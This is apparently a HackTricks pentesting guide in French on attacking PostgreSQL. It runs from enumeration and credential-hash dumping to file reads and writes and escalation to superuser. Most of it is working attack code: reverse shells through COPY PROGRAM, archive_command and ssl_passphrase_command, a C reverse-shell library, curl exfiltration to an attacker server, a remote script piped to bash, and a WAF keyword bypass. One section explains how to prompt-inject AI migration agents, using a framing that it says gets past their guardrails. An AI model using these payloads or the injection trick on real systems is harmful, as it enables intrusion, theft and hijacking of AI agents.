5432,5433 - Pentesting Postgresql

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

• Vérifiez les plans d’abonnement !
• Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
• Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.

Informations de base

PostgreSQL est décrit comme un système de base de données objet-relationnel qui est open source. Ce système n’utilise pas seulement le langage SQL, il l’enrichit également avec des fonctionnalités supplémentaires. Ses capacités lui permettent de gérer un large éventail de types de données et d’opérations, ce qui en fait un choix polyvalent pour les développeurs et les organisations.

Port par défaut : 5432, et si ce port est déjà utilisé il semble que postgresql utilisera le port suivant (probablement 5433) qui n’est pas utilisé.

PORT     STATE SERVICE
5432/tcp open  pgsql

Connexion & Basic Enum

psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection

psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles

# Get current user
SELECT user;

# Get current database
SELECT current_catalog;

# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+

#List databases
SELECT datname FROM pg_database;

#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;

# Get languages
SELECT lanname,lanacl FROM pg_language;

# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;

# Get history of commands executed
\s

Warning

Si, en exécutant \list, vous trouvez une base de données appelée rdsadmin, vous savez que vous êtes dans une AWS postgresql database.

Pour plus d’informations sur comment abuser d’une PostgreSQL database, consultez :

PostgreSQL injection

Énumération automatique

msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection

Brute force

Port scanning

Selon this research, lorsque une tentative de connexion échoue, dblink soulève une exception sqlclient_unable_to_establish_sqlconnection incluant une explication de l’erreur. Des exemples de ces détails sont listés ci-dessous.

SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');

• Hôte hors ligne

DETAIL: could not connect to server: No route to host Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

• Port fermé

DETAIL:  could not connect to server: Connection refused Is  the  server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

• Le port est ouvert

DETAIL:  server closed the connection unexpectedly This  probably  means
the server terminated abnormally before or while processing the request

ou

DETAIL:  FATAL:  password authentication failed for user "name"

• Port est ouvert ou filtré

DETAIL:  could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

Dans les fonctions PL/pgSQL, il n’est actuellement pas possible d’obtenir les détails des exceptions. Cependant, si vous avez un accès direct au serveur PostgreSQL, vous pouvez récupérer les informations nécessaires. Si extraire les noms d’utilisateur et les mots de passe des tables système n’est pas possible, vous pouvez envisager d’utiliser la méthode de wordlist attack discutée dans la section précédente, car elle pourrait potentiellement donner des résultats positifs.

Énumération des privilèges

Rôles

Groupes intéressants

• Si vous êtes membre de pg_execute_server_program vous pouvez exécuter des programmes
• Si vous êtes membre de pg_read_server_files vous pouvez lire des fichiers
• Si vous êtes membre de pg_write_server_files vous pouvez écrire des fichiers

Tip

Notez que dans Postgres un utilisateur, un groupe et un rôle sont identiques. Cela dépend simplement de la façon dont vous l’utilisez et si vous lui permettez de se connecter.

# Get users roles
\du

#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;

# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');

# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.

# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.

Tables

# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';

# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;

#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';

Fonctions

# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access

# Get all functions of a schema
\df pg_catalog.*

# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;

# Another aparent option
SELECT * FROM pg_proc;

Actions sur le système de fichiers

Lire des répertoires et des fichiers

À partir de ce commit les membres du groupe défini DEFAULT_ROLE_READ_SERVER_FILES (appelé pg_read_server_files) et les super users peuvent utiliser la méthode COPY sur n’importe quel chemin (voir convert_and_check_filename dans genfile.c) :

# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;

Warning

Rappelez-vous que si vous n’êtes pas superuser mais que vous avez la permission CREATEROLE vous pouvez vous ajouter à ce groupe :

GRANT pg_read_server_files TO username;

More info.

Il existe d’autres fonctions postgres qui peuvent être utilisées pour lire un fichier ou lister un répertoire. Seuls les superusers et les utilisateurs avec des permissions explicites peuvent les utiliser :

# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission

select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');

# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file

# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation

Vous pouvez trouver plus de fonctions sur https://www.postgresql.org/docs/current/functions-admin.html

Écriture simple de fichiers

Seuls super users et les membres de pg_write_server_files peuvent utiliser copy pour écrire des fichiers.

copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';

Warning

Si vous n’êtes pas super-utilisateur mais que vous avez la permission CREATEROLE, vous pouvez vous ajouter à ce groupe :

GRANT pg_write_server_files TO username;

More info.

Souvenez-vous que COPY ne peut pas gérer les caractères de nouvelle ligne ; donc même si vous utilisez une charge utile encodée en base64, vous devez envoyer une seule ligne.
Une limitation très importante de cette technique est que copy ne peut pas être utilisé pour écrire des fichiers binaires car il modifie certaines valeurs binaires.

Téléversement de fichiers binaires

Cependant, il existe d’autres techniques pour téléverser de gros fichiers binaires :

Big Binary Files Upload (PostgreSQL)

Mise à jour des données d’une table PostgreSQL via écriture locale de fichier

Si vous disposez des permissions nécessaires pour lire et écrire les fichiers du serveur PostgreSQL, vous pouvez mettre à jour n’importe quelle table du serveur en écrasant le filenode associé dans the PostgreSQL data directory. More on this technique here.

Étapes requises :

1. Obtenir le répertoire de données PostgreSQL

SELECT setting FROM pg_settings WHERE name = 'data_directory';

Remarque : Si vous n’arrivez pas à récupérer le chemin du répertoire de données actuel depuis les paramètres, vous pouvez interroger la version majeure de PostgreSQL via la requête SELECT version() et essayer de forcer le chemin par brute. Les chemins courants du répertoire de données sur des installations Unix de PostgreSQL sont /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/. Un nom de cluster courant est main.

2. Obtenir un chemin relatif vers le filenode associé à la table cible

SELECT pg_relation_filepath('{TABLE_NAME}')

Cette requête devrait retourner quelque chose comme base/3/1337. Le chemin complet sur le disque sera $DATA_DIRECTORY/base/3/1337, c.-à-d. /var/lib/postgresql/13/main/base/3/1337.

3. Télécharger le filenode via les fonctions lo_*

SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)

4. Récupérer le type de données associé à la table cible

SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';

5. Utilisez le PostgreSQL Filenode Editor to edit the filenode ; réglez tous les drapeaux booléens rol* sur 1 pour des permissions complètes.

python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}

6. Réimportez le filenode modifié via les fonctions lo_*, et écrasez le fichier original sur le disque

SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')

7. (Optionnellement) Videz le cache des tables en mémoire en exécutant une requête SQL coûteuse

SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)

8. Vous devriez maintenant voir les valeurs de la table mises à jour dans PostgreSQL.

Vous pouvez aussi devenir superadmin en modifiant la table pg_authid. Voir the following section.

RCE

RCE vers un programme

Since version 9.3, only super-utilisateurs and member of the group pg_execute_server_program can use copy for RCE (example with exfiltration:

'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -

Exemple pour exec:

#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';

Warning

Souvenez-vous que si vous n’êtes pas superutilisateur mais que vous avez la permission CREATEROLE, vous pouvez vous rendre membre de ce groupe :

GRANT pg_execute_server_program TO username;

More info.

Or use the multi/postgres/postgres_copy_from_program_cmd_exec module from metasploit.
More information about this vulnerability here. While reported as CVE-2019-9193, Postgres declared this was a feature and will not be fixed.

Bypass keyword filters/WAF to reach COPY PROGRAM

Dans des contextes SQLi avec des requêtes empilées, un WAF peut supprimer ou bloquer le mot-clé littéral COPY. Vous pouvez construire dynamiquement l’instruction et l’EXECUTE à l’intérieur d’un bloc PL/pgSQL DO. Par exemple, construisez le C initial avec CHR(67) pour contourner des filtres naïfs et EXECUTE la commande assemblée :

DO $$
DECLARE cmd text;
BEGIN
cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"''';
EXECUTE cmd;
END $$;

Ce pattern évite le filtrage statique par mot-clé et atteint quand même l’exécution de commandes OS via COPY ... PROGRAM. Il est particulièrement utile lorsque l’application renvoie les erreurs SQL et permet les requêtes empilées.

RCE with PostgreSQL Languages

RCE with PostgreSQL Languages

RCE with PostgreSQL extensions

Une fois que vous avez appris dans le post précédent comment uploader des fichiers binaires, vous pouvez tenter d’obtenir RCE en uploadant une extension postgresql et en la chargeant.

RCE with PostgreSQL Extensions

PostgreSQL configuration file RCE

Tip

Les vecteurs RCE suivants sont particulièrement utiles dans des contextes SQLi contraints, car toutes les étapes peuvent être effectuées via des SELECT imbriqués

Le fichier de configuration de PostgreSQL est inscriptible par l’utilisateur postgres, qui exécute la base de données ; en tant que superuser, vous pouvez écrire des fichiers dans le filesystem, et donc écraser ce fichier.

RCE with ssl_passphrase_command

More information about this technique here.

Le fichier de configuration possède des attributs intéressants qui peuvent conduire à du RCE :

• ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' Chemin vers la clé privée de la base de données
• ssl_passphrase_command = '' Si le fichier privé est protégé par un mot de passe (chiffré) postgresql exécutera la commande indiquée dans cet attribut.
• ssl_passphrase_command_supports_reload = off Si cet attribut est on la commande exécutée si la clé est protégée par mot de passe sera exécutée quand pg_reload_conf() sera executée.

Donc, un attaquant devra :

1. Dumper la clé privée depuis le serveur
2. Chiffrer la clé privée téléchargée :
3. rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
4. Écraser
5. Dumper la configuration actuelle de postgresql
6. Écraser la configuration avec la configuration mentionnée contenant ces attributs :
7. ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
8. ssl_passphrase_command_supports_reload = on
9. Exécuter pg_reload_conf()

Lors de mes tests j’ai remarqué que cela ne fonctionnera que si le fichier de clé privée a les permissions 640, qu’il est propriétaire root et appartient au groupe ssl-cert ou postgres (pour que l’utilisateur postgres puisse le lire), et qu’il est placé dans /var/lib/postgresql/12/main.

RCE with archive_command

More information about this config and about WAL here.

Un autre attribut exploitable dans le fichier de configuration est archive_command.

Pour que cela fonctionne, le paramètre archive_mode doit être 'on' ou 'always'. Si c’est le cas, nous pouvons écraser la commande dans archive_command et la forcer à s’exécuter via les opérations WAL (write-ahead logging).

Les étapes générales sont :

1. Vérifier si archive mode est activé : SELECT current_setting('archive_mode')
2. Écraser archive_command avec le payload. Par exemple, une reverse shell : archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
3. Recharger la config : SELECT pg_reload_conf()
4. Forcer l’opération WAL à s’exécuter, ce qui appellera l’archive command : SELECT pg_switch_wal() ou SELECT pg_switch_xlog() pour certaines versions de Postgres

Editing postgresql.conf via Large Objects (SQLi-friendly)

When multi-line writes are needed (e.g., to set multiple GUCs), use PostgreSQL Large Objects to read and overwrite the config entirely from SQL. This approach is ideal in SQLi contexts where COPY cannot handle newlines or binary-safe writes.

Example (adjust the major version and path if needed, e.g. version 15 on Debian):

-- 1) Import the current configuration and note the returned OID (example OID: 114575)
SELECT lo_import('/etc/postgresql/15/main/postgresql.conf');

-- 2) Read it back as text to verify
SELECT encode(lo_get(114575), 'escape');

-- 3) Prepare a minimal config snippet locally that forces execution via WAL
--    and base64-encode its contents, for example:
--    archive_mode = 'always'\n
--    archive_command = 'bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"'\n
--    archive_timeout = 1\n
--    Then write the new contents into a new Large Object and export it over the original file
SELECT lo_from_bytea(223, decode('<BASE64_POSTGRESQL_CONF>', 'base64'));
SELECT lo_export(223, '/etc/postgresql/15/main/postgresql.conf');

-- 4) Reload the configuration and optionally trigger a WAL switch
SELECT pg_reload_conf();
-- Optional explicit trigger if needed
SELECT pg_switch_wal();  -- or pg_switch_xlog() on older versions

Cela permet une exécution fiable de commandes OS via archive_command en tant qu’utilisateur postgres, à condition que archive_mode soit activé. En pratique, régler un archive_timeout faible peut provoquer des invocations rapides sans nécessiter un basculement WAL explicite.

RCE with preload libraries

More information about this technique here.

This attack vector takes advantage of the following configuration variables:

• session_preload_libraries – bibliothèques qui seront chargées par le serveur PostgreSQL lors de la connexion du client.
• dynamic_library_path – liste de répertoires où le serveur PostgreSQL cherchera les bibliothèques.

We can set the dynamic_library_path value to a directory, writable by the postgres user running the database, e.g., /tmp/ directory, and upload a malicious .so object there. Next, we will force the PostgreSQL server to load our newly uploaded library by including it in the session_preload_libraries variable.

Les étapes de l’attaque sont :

1. Télécharger le postgresql.conf original
2. Inclure le répertoire /tmp/ dans la valeur de dynamic_library_path, par ex. dynamic_library_path = '/tmp:$libdir'
3. Inclure le nom de la bibliothèque malveillante dans la valeur de session_preload_libraries, par ex. session_preload_libraries = 'payload.so'
4. Vérifier la version majeure de PostgreSQL via la requête SELECT version()
5. Compiler le code de la bibliothèque malveillante avec le paquet de développement PostgreSQL approprié Exemple de code:

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

void _init() {
/*
code taken from https://www.revshells.com/
*/

int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;

int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");

connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);

char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}

Compilation du code :

gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c

6. Téléverser le postgresql.conf malveillant créé aux étapes 2-3 et écraser l’original
7. Téléverser payload.so de l’étape 5 dans le répertoire /tmp
8. Recharger la configuration du serveur en redémarrant le serveur ou en exécutant la requête SELECT pg_reload_conf()
9. Lors de la prochaine connexion à la DB, vous obtiendrez un reverse shell.

Postgres Privesc

CREATEROLE Privesc

Grant

Selon les docs : Les rôles disposant du privilège CREATEROLE peuvent accorder ou révoquer l’appartenance à n’importe quel rôle qui n’est pas un superuser.

Donc, si vous avez la permission CREATEROLE, vous pouvez vous accorder l’accès à d’autres roles (qui ne sont pas superuser) qui peuvent vous permettre de lire et écrire des fichiers et d’exécuter des commandes :

# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;

Modifier les mots de passe

Les utilisateurs ayant ce rôle peuvent aussi changer les mots de passe d’autres non-superusers :

#Change password
ALTER USER user_name WITH PASSWORD 'new_password';

Privesc to SUPERUSER

Il est assez courant de constater que les utilisateurs locaux peuvent se connecter à PostgreSQL sans fournir de mot de passe. Par conséquent, une fois que vous avez obtenu les permissions d’exécuter du code, vous pouvez abuser de ces permissions pour vous accorder le rôle SUPERUSER :

COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';

Tip

Cela est généralement possible à cause des lignes suivantes dans le fichier pg_hba.conf :

# "local" is for Unix domain socket connections only
local   all             all                                     trust
# IPv4 local connections:
host    all             all             127.0.0.1/32            trust
# IPv6 local connections:
host    all             all             ::1/128                 trust

ALTER TABLE privesc

Dans this writeup est expliqué comment il a été possible de privesc sur Postgres GCP en abusant du privilège ALTER TABLE qui avait été accordé à l’utilisateur.

Quand vous essayez de faire d’un autre utilisateur le propriétaire d’une table vous devriez obtenir une erreur l’en empêchant, mais apparemment GCP a donné cette option à l’utilisateur postgres qui n’était pas superuser dans GCP:

En combinant cela avec le fait que lorsque les commandes INSERT/UPDATE/ANALYZE sont exécutées sur une table avec une fonction d’index, la fonction est appelée dans le cadre de la commande avec les autorisations du propriétaire de la table. Il est possible de créer un index avec une fonction et d’accorder les permissions de propriétaire à un super user sur cette table, puis d’exécuter ANALYZE sur la table avec la fonction malveillante qui pourra exécuter des commandes parce qu’elle utilise les privilèges du propriétaire.

GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);

Exploitation

1. Commencez par créer une nouvelle table.
2. Insérez du contenu non pertinent dans la table pour fournir des données à la fonction d’index.
3. Développez une fonction d’index malveillante qui contient un payload d’exécution de code, permettant l’exécution de commandes non autorisées.
4. ALTER le propriétaire de la table vers “cloudsqladmin”, qui est le rôle de superuser de GCP utilisé exclusivement par Cloud SQL pour gérer et maintenir la base de données.
5. Effectuez une opération ANALYZE sur la table. Cette action force le moteur PostgreSQL à basculer dans le contexte de l’utilisateur du propriétaire de la table, “cloudsqladmin”. Par conséquent, la fonction d’index malveillante est appelée avec les autorisations de “cloudsqladmin”, permettant ainsi l’exécution de la commande shell précédemment non autorisée.

Dans PostgreSQL, ce flux ressemble à ceci :

CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);

INSERT INTO temp_table VALUES ('dummy content');

/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';

CREATE INDEX index_malicious ON public.temp_table (suid_function(data));

ALTER TABLE temp_table OWNER TO cloudsqladmin;

/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';

ANALYZE public.temp_table;

Ensuite, la table shell_commands_results contiendra la sortie du code exécuté :

uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)

Connexion locale

Certaines instances postgresql mal configurées peuvent permettre la connexion de n’importe quel utilisateur local ; il est possible de se connecter depuis 127.0.0.1 en utilisant la fonction dblink :

\du * # Get Users
\l    # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

Warning

Notez que pour que la requête précédente fonctionne la fonction dblink doit exister. Si ce n’est pas le cas, vous pouvez essayer de la créer avec

CREATE EXTENSION dblink;

Si vous avez le mot de passe d’un utilisateur avec plus de privilèges, mais que l’utilisateur n’est pas autorisé à se connecter depuis une IP externe, vous pouvez utiliser la fonction suivante pour exécuter des requêtes en tant que cet utilisateur:

SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

Il est possible de vérifier si cette fonction existe avec :

SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;

Fonction personnalisée avec SECURITY DEFINER

In this writeup, pentesters were able to privesc inside a postgres instance provided by IBM, because they found this function with the SECURITY DEFINER flag:

CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
    VOLATILE SECURITY DEFINER
    PARALLEL UNSAFE
COST 100

AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…

As explained in the docs a function with SECURITY DEFINER is executed with the privileges of the user that owns it. Therefore, if the function is vulnerable to SQL Injection or is doing some privileged actions with params controlled by the attacker, it could be abused to escalate privileges inside postgres.

In the line 4 of the previous code you can see that the function has the SECURITY DEFINER flag.

CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);

Et ensuite exécutez les commandes :

Brute-force de mots de passe avec PL/pgSQL

PL/pgSQL est un langage de programmation complet qui offre un contrôle procédural supérieur comparé à SQL. Il permet l’utilisation de boucles et d’autres structures de contrôle pour enrichir la logique des programmes. De plus, les instructions SQL et les triggers peuvent appeler des fonctions créées avec le langage PL/pgSQL. Cette intégration permet une approche plus complète et polyvalente de la programmation et de l’automatisation des bases de données.
Vous pouvez abuser de ce langage pour demander à PostgreSQL de bruteforcer les identifiants des utilisateurs.

PL/pgSQL Password Bruteforce

Privesc by Overwriting Internal PostgreSQL Tables

Tip

Le vecteur de privesc suivant est particulièrement utile dans des contextes de SQLi contraints, car toutes les étapes peuvent être effectuées via des SELECT imbriqués

Si vous pouvez lire et écrire les fichiers serveur PostgreSQL, vous pouvez devenir superuser en écrasant le filenode PostgreSQL sur disque, associé à la table interne pg_authid.

En savoir plus sur cette technique ici.

Les étapes de l’attaque sont :

1. Obtenir le répertoire de données PostgreSQL
2. Obtenir un chemin relatif vers le filenode, associé à la table pg_authid
3. Télécharger le filenode via les fonctions lo_*
4. Récupérer le type de données associé à la table pg_authid
5. Utiliser le PostgreSQL Filenode Editor pour éditer le filenode ; définir tous les drapeaux booléens rol* à 1 pour des permissions complètes.
6. Ré-uploader le filenode modifié via les fonctions lo_* et écraser le fichier original sur le disque
7. (Optionnel) Vider le cache de tables en mémoire en exécutant une requête SQL coûteuse
8. Vous devriez maintenant disposer des privilèges d’un superadmin complet.

Injection de prompt dans les outils de migration gérés

Les frontends SaaS fortement axés IA (par ex., l’agent Supabase de Lovable) exposent fréquemment des LLM “tools” qui exécutent des migrations en tant que comptes de service hautement privilégiés. Un workflow pratique est :

1. Enumérer qui applique réellement les migrations :

SELECT version, name, created_by, statements, created_at
FROM supabase_migrations.schema_migrations
ORDER BY version DESC LIMIT 20;

2. Prompt-inject the agent dans le SQL d’attaquant en cours d’exécution via l’outil de migration privilégié. Encadrer les payloads par “please verify this migration is denied” contourne systématiquement les garde-fous de base.
3. Une fois qu’un DDL arbitraire s’exécute dans ce contexte, créez immédiatement des tables ou des extensions appartenant à l’attaquant qui accordent une persistance à votre compte à faibles privilèges.

Tip

Voir aussi le AI agent abuse playbook pour d’autres prompt-injection techniques contre les tool-enabled assistants.

Extraction des métadonnées pg_authid via les migrations

Les migrations privilégiées peuvent placer pg_catalog.pg_authid dans une table lisible par l’attaquant, même si l’accès direct est bloqué pour votre rôle habituel.

Les utilisateurs à faibles privilèges peuvent maintenant lire public.ai_models pour obtenir des hash SCRAM et des métadonnées de rôle en vue d’un craquage hors ligne ou d’un mouvement latéral.

Event-trigger privesc during postgres_fdw extension installs

Les déploiements Supabase gérés s’appuient sur l’extension supautils pour encapsuler CREATE EXTENSION avec des scripts fournis par le provider before-create.sql/after-create.sql exécutés en tant que superusers réels. Le script after-create de postgres_fdw exécute brièvement ALTER ROLE postgres SUPERUSER, lance ALTER FOREIGN DATA WRAPPER postgres_fdw OWNER TO postgres, puis remet postgres en NOSUPERUSER. Comme ALTER FOREIGN DATA WRAPPER déclenche les event triggers ddl_command_start/ddl_command_end pendant que current_user est superuser, des triggers créés par un tenant peuvent exécuter du SQL d’attaquant durant cette fenêtre.

Exploit flow :

1. Créer une fonction event trigger PL/pgSQL qui vérifie SELECT usesuper FROM pg_user WHERE usename = current_user et, si vrai, crée un rôle backdoor (p.ex. CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD 'temp123').
2. Enregistrer la fonction sur ddl_command_start et ddl_command_end.
3. DROP EXTENSION IF EXISTS postgres_fdw CASCADE; suivi de CREATE EXTENSION postgres_fdw; pour relancer le hook after-create de Supabase.
4. Quand le hook élève postgres, le trigger s’exécute, crée le rôle SUPERUSER persistant et le rend à postgres pour un accès facile via SET ROLE.

</details>

La tentative de Supabase de bypasser les unsafe triggers ne vérifie que la propriété : assurez-vous donc que le trigger function owner est votre low-privileged role, mais le payload ne s'exécute que lorsque le hook bascule `current_user` en SUPERUSER. Comme le trigger re-runs sur les futurs DDL, il sert aussi de self-healing persistence backdoor chaque fois que le provider élève brièvement les tenant roles.

### Transformer un accès SUPERUSER transitoire en compromission de l'hôte

Après que `SET ROLE priv_esc;` ait réussi, relancez les primitives précédemment bloquées :
```sql
INSERT INTO public.ai_models(model_name, config)
VALUES ('hostname', to_jsonb(pg_read_file('/etc/hostname', 0, 100)));
COPY (SELECT '') TO PROGRAM 'curl https://rce.ee/rev.sh | bash';

find / -perm -4000 -type f 2>/dev/null

msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload

log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/

sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db

find /etc/postgresql -maxdepth 4 -type f \( -name "postgresql.conf" -o -name "pg_hba.conf" \) 2>/dev/null
